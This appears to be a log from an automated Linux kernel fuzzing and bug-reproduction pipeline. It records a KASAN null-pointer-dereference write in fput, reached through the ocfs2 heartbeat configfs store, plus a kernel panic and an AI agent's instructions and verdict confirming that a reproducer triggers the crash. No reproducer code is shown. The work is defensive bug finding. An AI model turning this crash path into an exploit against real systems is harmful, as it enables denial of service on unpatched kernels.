[ 64.069879][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.073592][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.077453][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.081017][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.085320][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.088712][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.092446][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.096234][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.099850][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.103657][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.107601][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.111159][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.115052][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.118718][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.122542][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.126806][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.130028][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.133817][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.141245][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.145240][ T5835] ==================================================================
[ 64.145248][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.148951][ T5835] BUG: KASAN: null-ptr-deref in fput+0x30/0xd0
[ 64.151580][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.155233][ T5835] Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
[ 64.155242][ T5835]
[ 64.155248][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
[ 64.155256][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 64.155260][ T5835] Call Trace:
[ 64.155264][ T5835] <TASK>
[ 64.155267][ T5835] dump_stack_lvl+0xe8/0x150
[ 64.155283][ T5835] ? fput+0x30/0xd0
[ 64.155289][ T5835] kasan_report+0x117/0x150
[ 64.155297][ T5835] ? fput+0x30/0xd0
[ 64.155308][ T5835] kasan_check_range+0x264/0x2c0
[ 64.155316][ T5835] fput+0x30/0xd0
[ 64.155322][ T5835] o2hb_region_dev_store+0x70b/0x1330
[ 64.155333][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.155343][ T5835] ? _copy_from_iter+0x21b/0x1660
[ 64.155352][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.155362][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.155371][ T5835] ? down_read+0x2be/0x330
[ 64.155382][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.155391][ T5835] configfs_write_iter+0x337/0x430
[ 64.155400][ T5835] vfs_write+0x612/0xba0
[ 64.155408][ T5835] ? __pfx_vfs_write+0x10/0x10
[ 64.155417][ T5835] ? __fget_files+0x2a/0x420
[ 64.155425][ T5835] __x64_sys_pwrite64+0x196/0x220
[ 64.155434][ T5835] ? __pfx___x64_sys_pwrite64+0x10/0x10
[ 64.155443][ T5835] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.155450][ T5835] do_syscall_64+0x174/0x580
[ 64.155459][ T5835] ? trace_irq_disable+0x3b/0x140
[ 64.155466][ T5835] ? clear_bhb_loop+0x40/0x90
[ 64.155473][ T5835] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.155480][ T5835] RIP: 0033:0x7f00c717be4e
[ 64.155486][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 64.155492][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[ 64.155519][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[ 64.155524][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[ 64.155528][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[ 64.155532][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 64.155537][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[ 64.155543][ T5835] </TASK>
[ 64.155546][ T5835] ==================================================================
[ 64.157775][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.161717][ T5835] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 64.161725][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
[ 64.161733][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 64.161737][ T5835] Call Trace:
[ 64.161741][ T5835] <TASK>
[ 64.161744][ T5835] vpanic+0x56c/0xa60
[ 64.161756][ T5835] ? __pfx_vpanic+0x10/0x10
[ 64.161766][ T5835] panic+0xc5/0xd0
[ 64.161774][ T5835] ? __pfx_panic+0x10/0x10
[ 64.161783][ T5835] ? fput+0x30/0xd0
[ 64.161790][ T5835] ? fput+0x30/0xd0
[ 64.161796][ T5835] check_panic_on_warn+0x89/0xb0
[ 64.161803][ T5835] ? fput+0x30/0xd0
[ 64.161808][ T5835] end_report+0x73/0x170
[ 64.161815][ T5835] ? fput+0x30/0xd0
[ 64.161820][ T5835] kasan_report+0x128/0x150
[ 64.161827][ T5835] ? fput+0x30/0xd0
[ 64.161834][ T5835] kasan_check_range+0x264/0x2c0
[ 64.161841][ T5835] fput+0x30/0xd0
[ 64.161847][ T5835] o2hb_region_dev_store+0x70b/0x1330
[ 64.161859][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.161868][ T5835] ? _copy_from_iter+0x21b/0x1660
[ 64.161877][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.161886][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.161895][ T5835] ? down_read+0x2be/0x330
[ 64.161905][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.161914][ T5835] configfs_write_iter+0x337/0x430
[ 64.161923][ T5835] vfs_write+0x612/0xba0
[ 64.161931][ T5835] ? __pfx_vfs_write+0x10/0x10
[ 64.161940][ T5835] ? __fget_files+0x2a/0x420
[ 64.161948][ T5835] __x64_sys_pwrite64+0x196/0x220
[ 64.161957][ T5835] ? __pfx___x64_sys_pwrite64+0x10/0x10
[ 64.161966][ T5835] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.161972][ T5835] do_syscall_64+0x174/0x580
[ 64.161981][ T5835] ? trace_irq_disable+0x3b/0x140
[ 64.161988][ T5835] ? clear_bhb_loop+0x40/0x90
[ 64.161995][ T5835] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.162001][ T5835] RIP: 0033:0x7f00c717be4e
[ 64.162007][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 64.162013][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[ 64.162021][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[ 64.162026][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[ 64.162030][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[ 64.162034][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 64.162039][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[ 64.162045][ T5835] </TASK>
[ 64.165024][ T5835] Kernel Offset: disabled
OtherCrashReports:<nil> StraceOutput: TestError:]
|
| 202/3 |
2026/09/04 21:01 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:[ 61.946612][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.946621][ T33] audit: type=1400 audit(1788555666.426:201): avc: denied { transition } for pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.956299][ T33] audit: type=1400 audit(1788555666.436:202): avc: denied { noatsecure } for pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.964330][ T33] audit: type=1400 audit(1788555666.436:203): avc: denied { rlimitinh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.970604][ T33] audit: type=1400 audit(1788555666.436:204): avc: denied { siginh } for pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:7215' (ED25519) to the list of known hosts.
[ 63.988983][ T33] audit: type=1400 audit(1788555668.466:205): avc: denied { mounton } for pid=5832 comm="syz-executor369" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 63.998170][ T33] audit: type=1400 audit(1788555668.466:206): avc: denied { mount } for pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[ 64.002137][ T5832] audit: audit_backlog=65 > audit_backlog_limit=64
[ 64.006189][ T33] audit: type=1400 audit(1788555668.466:207): avc: denied { search } for pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 64.007879][ T5832] audit: audit_lost=1 audit_rate_limit=0 audit_backlog_limit=64
[ 64.015184][ T33] audit: type=1400 audit(1788555668.466:208): avc: denied { search } for pid=5832 comm="syz-executor369" name="cluster" dev="configfs" ino=168 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[ 64.023145][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.025746][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.030691][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.035179][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.038975][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.042927][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.042940][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.047127][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.050949][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.054721][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.058599][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.062081][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.065935][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.069879][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.073592][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.077453][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.081017][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.085320][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.088712][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.092446][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.096234][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.099850][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.103657][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.107601][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.111159][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.115052][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.118718][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.122542][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.126806][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.130028][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.133817][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.141245][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.145240][ T5835] ==================================================================
[ 64.145248][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.148951][ T5835] BUG: KASAN: null-ptr-deref in fput+0x30/0xd0
[ 64.151580][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.155233][ T5835] Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
[ 64.155242][ T5835]
[ 64.155248][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
[ 64.155256][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 64.155260][ T5835] Call Trace:
[ 64.155264][ T5835] <TASK>
[ 64.155267][ T5835] dump_stack_lvl+0xe8/0x150
[ 64.155283][ T5835] ? fput+0x30/0xd0
[ 64.155289][ T5835] kasan_report+0x117/0x150
[ 64.155297][ T5835] ? fput+0x30/0xd0
[ 64.155308][ T5835] kasan_check_range+0x264/0x2c0
[ 64.155316][ T5835] fput+0x30/0xd0
[ 64.155322][ T5835] o2hb_region_dev_store+0x70b/0x1330
[ 64.155333][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.155343][ T5835] ? _copy_from_iter+0x21b/0x1660
[ 64.155352][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.155362][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.155371][ T5835] ? down_read+0x2be/0x330
[ 64.155382][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.155391][ T5835] configfs_write_iter+0x337/0x430
[ 64.155400][ T5835] vfs_write+0x612/0xba0
[ 64.155408][ T5835] ? __pfx_vfs_write+0x10/0x10
[ 64.155417][ T5835] ? __fget_files+0x2a/0x420
[ 64.155425][ T5835] __x64_sys_pwrite64+0x196/0x220
[ 64.155434][ T5835] ? __pfx___x64_sys_pwrite64+0x10/0x10
[ 64.155443][ T5835] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.155450][ T5835] do_syscall_64+0x174/0x580
[ 64.155459][ T5835] ? trace_irq_disable+0x3b/0x140
[ 64.155466][ T5835] ? clear_bhb_loop+0x40/0x90
[ 64.155473][ T5835] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.155480][ T5835] RIP: 0033:0x7f00c717be4e
[ 64.155486][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 64.155492][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[ 64.155519][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[ 64.155524][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[ 64.155528][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[ 64.155532][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 64.155537][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[ 64.155543][ T5835] </TASK>
[ 64.155546][ T5835] ==================================================================
[ 64.157775][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[ 64.161717][ T5835] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 64.161725][ T5835] CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
[ 64.161733][ T5835] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 64.161737][ T5835] Call Trace:
[ 64.161741][ T5835] <TASK>
[ 64.161744][ T5835] vpanic+0x56c/0xa60
[ 64.161756][ T5835] ? __pfx_vpanic+0x10/0x10
[ 64.161766][ T5835] panic+0xc5/0xd0
[ 64.161774][ T5835] ? __pfx_panic+0x10/0x10
[ 64.161783][ T5835] ? fput+0x30/0xd0
[ 64.161790][ T5835] ? fput+0x30/0xd0
[ 64.161796][ T5835] check_panic_on_warn+0x89/0xb0
[ 64.161803][ T5835] ? fput+0x30/0xd0
[ 64.161808][ T5835] end_report+0x73/0x170
[ 64.161815][ T5835] ? fput+0x30/0xd0
[ 64.161820][ T5835] kasan_report+0x128/0x150
[ 64.161827][ T5835] ? fput+0x30/0xd0
[ 64.161834][ T5835] kasan_check_range+0x264/0x2c0
[ 64.161841][ T5835] fput+0x30/0xd0
[ 64.161847][ T5835] o2hb_region_dev_store+0x70b/0x1330
[ 64.161859][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.161868][ T5835] ? _copy_from_iter+0x21b/0x1660
[ 64.161877][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.161886][ T5835] ? configfs_write_iter+0x238/0x430
[ 64.161895][ T5835] ? down_read+0x2be/0x330
[ 64.161905][ T5835] ? __pfx_o2hb_region_dev_store+0x10/0x10
[ 64.161914][ T5835] configfs_write_iter+0x337/0x430
[ 64.161923][ T5835] vfs_write+0x612/0xba0
[ 64.161931][ T5835] ? __pfx_vfs_write+0x10/0x10
[ 64.161940][ T5835] ? __fget_files+0x2a/0x420
[ 64.161948][ T5835] __x64_sys_pwrite64+0x196/0x220
[ 64.161957][ T5835] ? __pfx___x64_sys_pwrite64+0x10/0x10
[ 64.161966][ T5835] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.161972][ T5835] do_syscall_64+0x174/0x580
[ 64.161981][ T5835] ? trace_irq_disable+0x3b/0x140
[ 64.161988][ T5835] ? clear_bhb_loop+0x40/0x90
[ 64.161995][ T5835] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 64.162001][ T5835] RIP: 0033:0x7f00c717be4e
[ 64.162007][ T5835] Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 64.162013][ T5835] RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
[ 64.162021][ T5835] RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
[ 64.162026][ T5835] RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
[ 64.162030][ T5835] RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
[ 64.162034][ T5835] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 64.162039][ T5835] R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
[ 64.162045][ T5835] </TASK>
[ 64.165024][ T5835] Kernel Offset: disabled
TruncatedCrashReport:(syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835
CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x30/0xd0 fs/file_table.c:588
o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x612/0xba0 fs/read_write.c:687
ksys_pwrite64 fs/read_write.c:794 [inline]
__do_sys_pwrite64 fs/read_write.c:802 [inline]
__se_sys_pwrite64 fs/read_write.c:799 [inline]
__x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
</TASK>
==================================================================
TruncatedStraceOutput:]
|
| 203/3 |
2026/09/04 21:01 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The reproducer successfully triggered the expected crash. The crash signature and call trace match the original bug report exactly, confirming that the underlying issue is the same. ProbePassed:false TerminalError: TitleMatches:true]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
- Determine if the triggered crash matches the expected bug.
- If you conclude they represent the same underlying bug (the same root cause)
despite different titles, crash signatures, or call traces, set TitleMatches
to true and provide a detailed, technical, and verbose explanation of the
equivalence in the 'Feedback' field.
- If they do not represent the same bug (a completely unrelated crash/collision),
set TitleMatches to false and explain the collision in 'Feedback'.
- If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
- The reproduction attempt failed to trigger the bug. Analyze the console/strace output
to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
and provide feedback on how to improve the reproducer logic to trigger the crash.
Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: null-ptr-deref Write in fput
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664
CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
